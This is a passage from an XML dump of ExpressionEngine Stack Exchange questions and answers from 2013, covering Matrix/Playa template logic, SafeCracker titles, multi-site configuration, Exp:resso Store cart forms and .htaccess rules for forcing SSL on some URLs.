up, it should all work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also use &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab's Master Config&lt;/a&gt; approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within public, I create a &lt;code&gt;ee&lt;/code&gt; directory that contains &lt;code&gt;config&lt;/code&gt; and &lt;code&gt;third_party&lt;/code&gt;. This is where I manage third party add-ons and my config.php within the &lt;code&gt;public&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also store &lt;code&gt;templates&lt;/code&gt; in the public directory, nested within another directory containing our front-end assets (images, css, js). This lets us point CodeKit at 1 directory instead of having it monitor the whole application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're accessing the server via SSH/command line, your vhost configurations are typically in a location such as &lt;code&gt;/etc/apache2/sites-available&lt;/code&gt; (on Ubuntu). If you edit that file, you'll see that you can point the website to the public directory. I'm assuming this is what they're referring to when they say &quot;redirect to this nested folder.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few years back I printed out a set of Slicehost's articles and put them in a binder. I use those every time I set up a new Ubuntu server, from SSH accounts to firewall to Apache/PHP/MySQL and vhost config. You can &lt;a href=&quot;http://articles.slicehost.com/ubuntu-10&quot; rel=&quot;nofollow&quot;&gt;start here&lt;/a&gt; or jump right to &lt;a href=&quot;http://articles.slicehost.com/2010/5/19/apache-virtual-hosts-on-ubuntu-part-1&quot; rel=&quot;nofollow&quot;&gt;vhosts config&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-18T21:46:13.610" LastActivityDate="2013-02-18T21:46:13.610" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6494" PostTypeId="1" CreationDate="2013-02-18T21:09:43.623" Score="3" ViewCount="610" Body="&lt;p&gt;I have a Matrix field (parent) in a channel set to have exactly 4 rows. The rows feature a Playa drop-down. These will serve as promotional tiles in the page templates to cross-promote other pages in the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the templates I must always display 4 tiles so need to write a fallback so if only 3 are selected then 1 extra random tile is shown, if only 2 are selected then 2 extra random tiles are shown, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got this working fine using the Search parameter, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parent search:child=&quot;not IS_EMPTY&quot;}&#xA;    DO THIS&#xA;{/parent}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the problem I'm experiencing is what to do if no options are selected (i.e. all Playa fields/rows are empty). Ideally would be able to do an &lt;code&gt;{if no_results}&lt;/code&gt; conditional but can't access from within the &lt;code&gt;{parent}&lt;/code&gt; loop and because using search cannot access via a &lt;code&gt;{if parent:total_rows==0}&lt;/code&gt; conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="333" LastEditorUserId="490" LastEditDate="2013-02-18T21:34:24.600" LastActivityDate="2013-03-21T17:49:52.020" Title="Matrix no results equivalent?" Tags="|matrix|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6495" PostTypeId="1" CreationDate="2013-02-18T21:19:12.390" Score="1" ViewCount="36" Body="&lt;p&gt;I have a rather bizarre issue in my SafeCracker form: each P&amp;amp;T Switch field appears 4 times. They move independently. In the cpanel they appear fine. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1031" LastActivityDate="2013-02-18T21:19:12.390" Title="P&amp;T Switch appearing 4 times in SafeCracker form" Tags="|safecracker|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6496" PostTypeId="1" AcceptedAnswerId="6504" CreationDate="2013-02-18T21:33:32.370" Score="2" ViewCount="689" Body="&lt;p&gt;I have a case in which a client needs to be able to upload a JS and an HTML file to be displayed on a page via file upload fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the HTML file that is delivered to the client is a full HTML file with headers, meta, styling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to have the client upload the full HTML file as they receive it, but pull out only the contents of a particular DIV to be displayed within the template/page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;CherryPickedHTMLWrapper&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I approach this scenario?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-02-19T03:06:33.667" Title="Need to upload an HTML file and display contents of DIV and nothing else" Tags="|file-uploads|html|strip-html|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6497" PostTypeId="2" ParentId="6494" CreationDate="2013-02-18T21:36:07.373" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;search:col_name=&lt;/code&gt; parameter in combination with &lt;code&gt;:total_rows&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{parent:total_rows search:child=&quot;not IS_EMPTY&quot;}' == 0}&#xA;    ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-02-18T21:36:07.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6498" PostTypeId="2" ParentId="6076" CreationDate="2013-02-18T21:37:02.417" Score="2" Body="&lt;p&gt;I suspect there are some sessions/cookies referenced in the DB that that exist on the production server, but not the other environment; removing said references from the DB could resolve it.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-02-18T21:37:02.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6499" PostTypeId="1" AcceptedAnswerId="6694" CreationDate="2013-02-18T22:07:26.473" Score="1" ViewCount="184" Body="&lt;p&gt;i have a very advanced question. I'm building a website where multiple administrators need to edit content. Because of the relationships between these content items and the fact that i want the flexibility to add some tricks in the future i'm using safecracker as main means for adding content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the editors have a good overview that the content they add is in te right place (relationship to other items).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one channel setup for adding VIDEOS and each video has a relationship with 1 event and 1 speaker (other channels).I want the title of each video to be &quot;NAME EVENT - NAME SPEAKER&quot;. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;SOLUTION WHEN USING THE RELATIONSHIP FIELD&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When i use the relationship field and give SafeCracker the folowing parameter&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dynamic_title=&quot;[name_event_field] - [name_speaker_field]&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It stores the video entry with the entry_ids as title. And example title would be &quot;4 - 10&quot; where 4 and 10 are the entry numbers of the selected event and speaker. I solved this by adding a hidden TITLE field and running the following JS.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$(&quot;select[name=video_sui_editie]&quot;).change(function () {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var str = $(&quot;select[name=video_sui_editie] option:selected&quot;).text() + &quot; - &quot; + $(&quot;select[name=video_spreker] option:selected&quot;).text();&#xA;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(&quot;#title&quot;).val(str);&lt;br /&gt;&#xA;  })&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Dirty but works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;PROBLEM&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The relationship field isn't as handy to use as playa and since I would really like to use PLAYA while building the site i'm kinda stuck. The JS interface playa creates is pretty complex and i can't seem to find a point i can hook onto like the piece of JS i used before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I give SafeCracker the following parameter&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dynamic_title=&quot;[name_of_playa_event_field] - [name_of_playa_speaker_field]&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The title of the stored entry gets is &quot;[name_of_playa_event_field] - [name_of_playa_speaker_field]&quot;. So playa and the dynamic_title parameter of SafeCracker are not compatible.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a way to use the value of the selected playa field as title when adding an entry to ExpressionEngine via SafeCracker?&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="4" LastEditDate="2013-02-19T15:26:11.643" LastActivityDate="2013-02-25T09:04:32.050" Title="Using selected playa value as SafeCracker dynamic_title" Tags="|safecracker|playa|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6500" PostTypeId="2" ParentId="5802" CreationDate="2013-02-19T00:17:40.727" Score="1" Body="&lt;p&gt;OK, so I contacted EllisLab Support for assistance - and they were fantastic.  It turns out that I had a second (and possibly older/different) Switchee folder in my third_party add-ons folder (I had one folder &quot;switchee&quot; and another &quot;croxton-Switchee-b813d5b&quot;.  As soon as I removed the latter, I was able to log in.  They said that the error was suppressed due to an @ on the include. They would look into removing that for easier debugging in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that is still strange to me is that my local dev site still works just fine (with the duplicate folder).  But I'm not going to spend any more time trying to figure out why.  It's working!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again to Alex, and especially Anna for your continued attempts to assist!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-02-19T00:17:40.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6501" PostTypeId="1" CreationDate="2013-02-19T00:45:27.713" Score="1" ViewCount="208" Body="&lt;p&gt;I'm using a master config file based &lt;a href=&quot;https://gist.github.com/airways/1329538&quot; rel=&quot;nofollow&quot;&gt;on this one&lt;/a&gt;, in an MSM install of EE2 (2.5.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the config file, I set the base path and url like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base_url = $protocol . &quot;://&quot; . $_SERVER['HTTP_HOST'];&#xA;$base_path = $_SERVER['DOCUMENT_ROOT'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works a treat, but, I exclusively access the CP via my default site /admin - e.g.&#xA;&lt;a href=&quot;https://www.default_site.com/admin/&quot; rel=&quot;nofollow&quot;&gt;https://www.default_site.com/admin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I switch MSM sites in the CP, the thumbnails in my &lt;strong&gt;matrix file type&lt;/strong&gt; custom fields break, because they are looking for the files in the default site rather than the MSM site I have just switched to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Apart from accessing the CP via my other MSM site url&lt;/strong&gt;, is there a way to get thumbnails working in this scenario? (I cannot find any config overrides specific to thumbnails, apart from the prefix value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: All other file paths, file upload prefs, and front-end files work correctly - it's just the thumbnails in the CP, for the 2nd MSM site, that are broken.&lt;/p&gt;&#xA;" OwnerUserId="291" LastEditorUserId="268" LastEditDate="2013-02-20T02:09:54.400" LastActivityDate="2013-10-18T19:28:49.733" Title="How to get corect CP thumbnail paths using master config and MSM" Tags="|add-on|matrix|control-panel|multi-site-manager|thumbnails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6502" PostTypeId="2" ParentId="6480" CreationDate="2013-02-19T01:00:20.893" Score="0" Body="&lt;p&gt;I've certainly never seen an add-on that does that for EE - that's some deep math. :)  You can run PHP within an php-enabled EE template though. You could also experiment with some of the other great add-ons out there like Assets and CE Image. &lt;/p&gt;&#xA;" OwnerUserId="580" LastActivityDate="2013-02-19T01:00:20.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6503" PostTypeId="2" ParentId="6465" CreationDate="2013-02-19T01:52:37.957" Score="0" Body="&lt;p&gt;Removing the index.php shouldn't be an issue, but you can try adding to /system/expressionengine/config/config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = &quot;/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may also be worth trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_cp_path'] = &quot;./&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;those should get you moving forward with your .htaccess in place.  Please let me know how it goes.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-19T01:52:37.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6504" PostTypeId="2" ParentId="6496" CreationDate="2013-02-19T03:06:33.667" Score="3" Body="&lt;p&gt;I'm not sure I fully understand what you're trying to accomplish, but if you have a saved &lt;em&gt;.html&lt;/em&gt; file on your site (via custom file upload or however you need) and want to display just the &lt;em&gt;CherryPickedHTMLWrapper&lt;/em&gt; div, then the simplest option may be to load it via JQuery's &lt;code&gt;.load()&lt;/code&gt; method: &lt;a href=&quot;http://api.jquery.com/load/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;. This method can load a local file into an element on your page, and you can even specify a page fragment, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.result').load('uploads/test.html .CherryPickedHTMLWrapper');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you prefer to do it server side, you would likely want to create a custom plugin to read in the file and parse the DOM to get the element you need. There are some tools to make this easier, such as &lt;a href=&quot;http://simplehtmldom.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;PHP Simple HTML DOM Parser&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-02-19T03:06:33.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6506" PostTypeId="1" AcceptedAnswerId="6550" CreationDate="2013-02-19T04:52:39.773" Score="1" ViewCount="242" Body="&lt;p&gt;Is it possible to add additional mime types to the $mimes array (/system/expressionengine/config/mimes.php) from the config.master.php when using the Focus Lab config setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't want to start changing files in the expressionengine directory to have it potentially be skipped when upgrading EE core software. Need to add in mime types for kml/kmz files.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-02-20T10:40:21.540" Title="Additional mime types in Focus Lab config - how to add?" Tags="|focus-lab-master-config|bootstrap|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6507" PostTypeId="2" ParentId="6492" CreationDate="2013-02-19T06:27:45.543" Score="1" Body="&lt;p&gt;Your question is missing a fair amount of detail, but I'm going to make some assumptions. The first assumption is that you are set-up in test mode. The second is that you haven't created a default &lt;strong&gt;'no privilege'&lt;/strong&gt; member account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see from the &lt;a href=&quot;http://www.membrr.com/docs/plans&quot; rel=&quot;nofollow&quot;&gt;Membrr Docs&lt;/a&gt; is that Membrr doesn't so much interfere with the standard ExpressionEngine registration process, as opposed to allowing you to charge. The following information from the Membrr Docs is what I'm looking at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Member Group after Purchase - (Optional) What member group should the&#xA;  user be moved to when they are a subscriber to this plan?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Member Group after Expiration - (Optional) What member group should&#xA;  the user be moved to after their subscription to this plan expires?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I could be wrong, but basically new registration should go into a membership level with no privileges, say just 'members'. Then, &lt;strong&gt;Membrr&lt;/strong&gt; will handle transferring them to a member_group with privileges after payment has been processed, so they could be moved from say 'members' to 'monthly', 'yearly', or 'fitness'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd then use the membership level to restrict or provide access to various content on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your test set-up of Stripe should log your test transactions. That's the purpose, to see if the gateway is working for you. So I'd assume there's something wrong with your set-up there, as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But more detail about, what you want to do, maybe some sample code of how you set-up registration, etc. would be good.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-19T06:27:45.543" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6508" PostTypeId="1" CreationDate="2013-02-19T07:16:04.290" Score="3" ViewCount="337" Body="&lt;p&gt;In continuation of &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2167/direct-access-to-exp-store-stock-exp-store-stock-options-tables-via-expresso-sto&quot;&gt;my thread here&lt;/a&gt;, I'm still interested in setting up a products form where all the SKUs are laid out, and a visitor simply clicks a button beside the SKU to add exactly one of that product, in that SKU variation, to the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;James Muspratt &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5708/in-expresso-store-how-do-i-use-my-own-buttons-for-modifiers-in-place-of-select&quot;&gt;posted a slick solution here&lt;/a&gt; in which the modifier options are laid out as stylized radio buttons, which use jQuery to manipulate the modifier drop downs (hidden with CSS). That's &lt;em&gt;almost&lt;/em&gt; what I need, but rather than a row of radio button choices connected to the individual modifier drop downs, I need the options combined as an SKU option in one button. The submit button, ideally, would then just submit that SKU to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that it would somehow be possible to do, but I'm having trouble following the generated block of code beginning with &quot;&quot; , and I do not understand what the Products form is actually submitting (particularly in the hidden field '_params').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any issue pulling the SKUs for a product out of the Store tables with MySQL. I just have an issue with submitting it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can use the following MySQL to pull the t-shirt SKU variation that is male cut, black, and size small. I can produce a button that is enabled or disabled depending if stock is available. For some reason, however, the code doesn't actually submit the SKU to the cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_entries entry_id=&quot;953&quot;} &amp;lt;!-- simplified channel_entry tag --&amp;gt;&#xA;{exp:query sql=&quot;SELECT sku, entry_id, stock_level FROM exp_store_stock WHERE entry_id = '{entry_id}' AND sku LIKE '%_m_sm_black%'&quot;}&#xA;&amp;lt;!-- this works because the SKU format contains consistent code for the item --&amp;gt;&#xA;&#xA;{exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;item_qty&quot; name=&quot;item_qty&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_sku&quot; value=&quot;{sku}&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot; {if stock_level &amp;lt; 1}disabled=&quot;disabled&quot; class=&quot;disabled&quot;{/if}&amp;gt;S&amp;lt;/button&amp;gt;&#xA;    &amp;lt;br/&amp;gt;{stock_level}&#xA;{/exp:store:product}&#xA;&#xA;{/exp:query}&#xA;{/exp:channel_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, I feel like I'm missing hidden variables of some kind, or completely misunderstanding what fields and data need to be submitted to the cart (in the normal drop-down modifier option entry procedure) in order to add a cart item this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the SKU get figured out (based on the product ID and the modifier selections) between the event of hitting the &quot;add to cart&quot; button and returning the page? I guess that another way of saying what I want to do is submit a fixed quantity and an SKU of an item directly to the cart. I hope this is not totally beyond the capability of Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you made it this far, once again, thanks for turning this question about Store's product submission forms over in your mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;—Rob&lt;/p&gt;&#xA;" OwnerUserId="330" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-20T12:39:43.307" Title="Exp:resso Store form created by products tag - I just want to submit a single SKU" Tags="|expresso-store|forms|shopping-cart|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6509" PostTypeId="1" CreationDate="2013-02-19T08:34:04.327" Score="5" ViewCount="17854" Body="&lt;p&gt;I'd like to redirect requests for certain urls to secure https with .htaccess rules. I found this excellent tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/blog/post/2011/08/securing-your-expressionengine-website-with-https&quot;&gt;https://exp-resso.com/blog/post/2011/08/securing-your-expressionengine-website-with-https&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on this, I can redirect everything in the &quot;account&quot; template group, my system folder and the admin.php file with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTPS} off&#xA;RewriteCond $1 ^(account|system|admin\.php) [NC]&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works perfectly. But now I'm trying to find out how to do the opposite, redirect other URLs to non-secure http. I don't want to hard code navigation with http URLs. I'd rather use {path=''} and {site_url} variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, ideally it would work so that I don't have to hard-code all my non-secure template groups and pages into the .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 ^(about|contact|calendar|unicorns|etc) [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be too hard to maintain.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2017-03-22T22:49:19.273" Title="Force SSL on some URLs but non-SSL on others with .htaccess" Tags="|htaccess|ssl|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6510" PostTypeId="2" ParentId="6509" CreationDate="2013-02-19T08:47:09.167" Score="5" Body="&lt;p&gt;After a lot of research and experimenting, I think I found a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Force non-SSL on these URLs&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteCond %{HTTPS} on&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !^(account|system|admin\.php)  [NC]&#xA;RewriteRule (.*) http://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This rule checks if the request IS https, is not a form's POST action, isn't a file or directory that exists, and isn't one of the secure URLs (account, system, or admin.php). If all of those conditions are met, is redirect to non-secure http.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for my homepage, www.example.com with no trailing URL segments, I had to write another rule.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Force non-SSL on the homepage&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteCond %{HTTPS} on&#xA;RewriteCond %{QUERY_STRING} !^ACT= [NC]&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond $1 ^$  [NC]&#xA;RewriteRule (.*) http://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had to add a line to exclude ACTion ID URLs for things like Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution seems to be working for me right now, but I'd love to hear any additional input. Either if I can streamline this or if I've overlooked something. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As commenters have mentioned, using HTTPS everywhere is a better option. And it's most likely easier than jumping thru hoops with your htaccess rules.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2017-03-22T22:49:19.273" LastActivityDate="2017-03-22T22:49:19.273" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6511" PostTypeId="1" AcceptedAnswerId="6540" CreationDate="2013-02-19T09:08:32.967" Score="0" ViewCount="253" Body="&lt;p&gt;I’m working on a MSM setup and I’ve got the index template going, but the system won’t show the subtemplates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain the basis situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I setup the Multiple Site Manager for two domains. One is the first domain, which worked as expected, The second one is in a subfolder with it's own DNS domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I setup the sites with the index.php and admin php files placed in their folders as instructed in the docs, but for some reason links didn't work in the second domain. Every link just shows the default template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set the index.php file for the second domain as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;config settings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$assign_to_config[‘site_name’]  = ‘f...._nl’; &lt;br&gt;&#xA;  $assign_to_config[‘cp_url’] = ‘........nl/admin.php’; &lt;br&gt;&#xA;  $assign_to_config[‘site_url’] = ‘.......nl’;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="555" LastEditDate="2013-02-20T08:57:02.670" LastActivityDate="2013-02-20T08:59:43.090" Title="MSM: links not working in the second domain, shows only default template" Tags="|templates|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6512" PostTypeId="2" ParentId="6509" CreationDate="2013-02-19T10:11:23.750" Score="2" Body="&lt;p&gt;Just throwing it out there but I've used this module before and it only requires a small tag in templates you want to serve via https.&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/dm-force-ssl&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dm-force-ssl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-02-19T10:11:23.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6513" PostTypeId="1" CreationDate="2013-02-19T10:17:01.017" Score="3" ViewCount="62" Body="&lt;p&gt;I'm trying to return the total saving for a basket, based on items bought that are on sale. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a {you_save} variable per line, but I'd like a total value including quantities to be displayed as &quot;total saving&quot; in the basket - 'order_save' or 'order_saving' would be ideal.&lt;/p&gt;&#xA;" OwnerUserId="522" LastActivityDate="2013-11-05T10:48:12.930" Title="Is there an 'order_save' variable in exp:resso Store?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6514" PostTypeId="1" AcceptedAnswerId="6523" CreationDate="2013-02-19T11:43:48.517" Score="2" ViewCount="189" Body="&lt;p&gt;I'm using Stash for the first time and having a little trouble getting a list of channel entries relating to a Zoo Visitor Member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue seems to be with the &lt;code&gt;set_list&lt;/code&gt;. If I hard-code the &lt;code&gt;author_id&lt;/code&gt;, it works fine, but if I try and pass it the member_id, it fails. I'm sure it's something simple and parse order related, but I'm just not seeing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked out a couple of other answers: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1675/stash-embeds-trying-to-be-dry&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1912/nesting-channel-entries-in-stash&quot;&gt;here&lt;/a&gt;. They have got me this far, but I'm still missing the final piece of the jigsaw!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if there is any improvements to the way I've laid things out, I'd be very receptive to any tips, like I said it's my first time using Stash and I'd like to be doing it properly and as DRY as possible. Should I move the markup which is in the stash:content into a partial for example? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:site}&#xA;&#xA;{exp:channel:entries status=&quot;not closed&quot;}&#xA;{exp:zoo_visitor:details member_entry_id=&quot;{entry_id}&quot;}&#xA;    {exp:stash:set name=&quot;team_member_id&quot;}{visitor:member_id}{/exp:stash:set}&#xA;{/exp:zoo_visitor:details}&#xA;{exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;h1&quot;}{title}{/exp:stash:set}&#xA;{exp:stash:set name=&quot;team_member_photo&quot;}{member_staff_photo}&amp;lt;img src=&quot;{url}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot; /&amp;gt;{/member_staff_photo}{/exp:stash:set}&#xA;{categories 